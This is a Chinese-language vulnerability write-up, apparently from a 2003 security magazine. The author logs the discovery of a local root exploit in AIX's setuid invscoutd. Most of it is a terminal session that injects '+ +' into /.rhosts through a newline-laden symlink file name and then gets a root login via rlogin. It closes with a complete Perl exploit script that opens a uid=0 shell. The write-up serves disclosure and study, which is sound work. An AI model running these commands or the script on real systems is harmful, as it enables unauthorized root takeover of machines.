AIX捉虫记之invscoutd本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy),
整理了一下加了点注释,和有兴趣的朋友分享 :)
时间:2003-5-3日
天气:晴,万里无云的天空飘着几朵小小的白云
今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令
等都有了,今天继续……
平台信息:
-bash-2.05b$ oslevel
5.1.0.0
-bash-2.05b$ oslevel -r
5100-01
按八字排列今天应该考查invscoutd命令了
-bash-2.05b$ ls -l /usr/sbin/invscoutd
-r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd
|
+------考查理由? 需要么?谁叫他带了这个s位!
首先了解一下这个命令是哪个道上混的~
-bash-2.05b$man invscoutd
…………
The invscoutd command implements a permanent Inventory Scout server daemon on
one machine in a user's local network. The usual client is a Java applet running
in the user's Web browser, which was downloaded from a central Inventory Scout
CGI application.
…………
赖着性子看完,瞌睡ing ...
再来看看这个命令的长相:
-bash-2.05b$ invscoutd
invscoutd: Missing log file name.
Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@
USAGE: invscoutd [options] logfile <-- 还写日志文件的说。
logfile Append status and err msgs. '-' means write to stderr.
-o Overwrite preexisting log file instead of append. <-- 还可以覆盖已有文件的说~
-pN Change port number to N from default 808. <-- 默认监听在808端口
-bN Change read buffer size to N from default 1024.
-dN Change max logic db file size to N from default 50000.
-tN Change timeout period to N seconds from default 30 seconds.
-vN Change verbosity level to N from default 18, <--支持交互级别,级别越高记录信息应该越详细
25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.
依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,
就先考查一下他的这个日志文件吧 ~~~
-bash-2.05b$ ls -l /tmp/bb
ls: 0653-341 The file /tmp/bb does not exist.
-bash-2.05b$ invscoutd /tmp/bb
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17028
flog=/tmp/bb
-bash-2.05b$ ls -l /tmp/bb
-rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb
哇噻~~,权限果然有问题!!日志文件是root所有的说!!
睡意全无,立刻就清醒了!
有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的
-bash-2.05b$ id
uid=203(cloud) gid=1(staff)
看来没错,是个漏洞,那我能利用这个漏洞做什么呢??
想想……
至少可以把系统重要配置文件破坏掉吧,哈哈……
再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),
我们可以用这个漏洞创建这个文件,要是之前执行一次
umask 000
创建的文件我们就有修改权限了 ^_^
这样我们就可以任意改写文件内容了,如:/.rhosts中加一行
+ +
可惜r系列服务使用.rhosts时会对文件属性进行检查:
如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!
看来通过创建一个我们可写的.rhosts文件是行不通了~~
我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~
回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,
那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改
/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件
把自己变为root了吗?
赶紧来看看日志文件里写了什么内容:
-bash-2.05b$ cat /tmp/bb
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17028
flog=/tmp/bb
里面好像就flog=/tmp/bb和输入有关。
再试试,看这个问题能不能重现.
-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968056.
看来还得先杀掉老的进程才能再试。
-bash-2.05b$ ps -ef |grep invs
cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa
cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs
-bash-2.05b$ kill -9 15526
看看刚才出错记录到log文件了没?
-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.
没有的说。
我再试试,我非要重现一次才放心.
-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=15526
flog=./aa
-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.
咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。
这次学乖了,先杀掉进程。
-bash-2.05b$ ps -ef |grep invsc
cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc
cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa
-bash-2.05b$ kill -9 17028
…………
经测试,果然能重现,放心了~~
想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,
都必须要能完整的控制一行写入文件的内容,日志中能控制的是:
flog=输入文件名
部分,那面文件名中带换行符就可以控制一行的内容了,如:
aaaa\n完整的一行\naaaa这种形似的文件名。
想了就做.
但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,
刚好以前学的perl派上了用场 ^_*
用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",
看看能不能产生一个单独的一行记录内容
+ +
-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=16282
flog=/tmp/bbbbb
+ +
ddd
-bash-2.05b$ cat /tmp/bbbbb*
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=16282
flog=/tmp/bbbbb
+ +
ddd
嘿嘿,可以的说!!
-bash-2.05b$ ls -l /tmp/bbbbb*
-rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb
+ +
ddd
那我们如何写"\n+ +\n"内容到/.rhosts呢?
想想……
再想想……
呵呵,我想到了,你想到了吗?
再给你5分钟,好好想想~~
如果直接执行invscoutd /.rhosts
肯定不行,里面不会有我们期望的
+ +
行。
如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
向log文件写入
+ +
成功,
但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,
再想想…………
归纳一下,问题核心是想把A文件名写入B文件中,
Unix下的符号链接好像就是这个桥梁耶~
我们建立一个A -> B的符号连接不就行了!
ln -s B A
然后
invscoutd A
应该就成了。
开始行动:
-bash-2.05b$ ls -l /.rhosts
ls: 0653-341 The file /.rhosts does not exist.
建立A -> B的符号链接:
-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'
这里B是"/.rhosts"
A是"/tmp/cc\n+ +\ndd"
-bash-2.05b$ ls -l /tmp/cc*
lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc
+ +
dd -> /.rhosts
来,执行之
-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968072.
-bash-2.05b$ ps -ef |grep invsc
cloud 16282 1 0 03:59:27 - 0:00 invscoutd /tmp/bbbbb?+ +?ddd
cloud 17146 15338 1 04:03:40 pts/0 0:00 grep invsc
-bash-2.05b$ kill -9 16282
-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17150
flog=/tmp/cc
+ +
dd
看看文件生成了没有:
-bash-2.05b$ ls -l /.rhosts
-rw-r--r-- 1 root staff 598 May 03 04:03 /.rhosts
ok,来继续看看内容:
-bash-2.05b$ cat /.rhosts
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17150
flog=/tmp/cc
+ +
dd
呵呵+ +写进去了!!!
来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了:
-bash-2.05b$ rlogin -l root localhost
usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]
faint ! 一高兴起来就连命令格式都给忘了 :(
再来:
-bash-2.05b$ rlogin localhost -l root
*******************************************************************************
* *
* *
* Welcome to AIX Version 5.1! *
* *
* *
* Please see the README file in /usr/lpp/bos for information pertinent to *
* this release of the AIX Operating System. *
* *
* *
*******************************************************************************
Last unsuccessful login: Wed May 3 00:38:01 CDT 2003 on /dev/lft0
Last login: Wed May 3 00:38:09 CDT 2003 on /dev/lft0
-bash-2.05b# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)
哈哈哈~~搞定啦~~
热泪盈框ing ……
学了这么多年的Unix知识终于没白学呀~~
赶紧简单清理战场~
-bash-2.05b# rm /.rhosts
-bash-2.05b# rm /tmp/bb* /tmp/cc*
-bash-2.05b# ps -ef |grep invsc
cloud 14306 15338 1 04:05:51 pts/0 0:00 grep invsc
cloud 17150 1 0 04:03:48 - 0:00 invscoutd /tmp/cc?+ +?dd
-bash-2.05b# kill -9 17150
-bash-2.05b#
还看呀?!已经拉下帷幕了,都是后台操作了!
^_^
===============================================================
这个漏洞在Aix4.x上也存在,
最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Some high version of invscoutd is not affected.
# Author : watercloud@nsfocus.com
# watercloud@xfocus.org
# Date : 2003-5-29
# Announce: use as your owner risk!
$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;
print "Exploit error on kill process invscoutd !!" ,exit 1
if &killproc() == 0;
symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";
system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";
sub killproc() {
$_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
@proc_lst=split;
$ret=kill 9,$proc_lst[1] if $proc_lst[1];
$ret=-1 if ! defined $ret;
return $ret;
}
#EOF
Game Over !
祝大家6.1快乐 :)
watercloud
2004-6-1
========================
原文发表在:
nsfocus第48期月刊:http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2201
后贴于xfocus Unix hacking版: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203
两个版本稍有不同。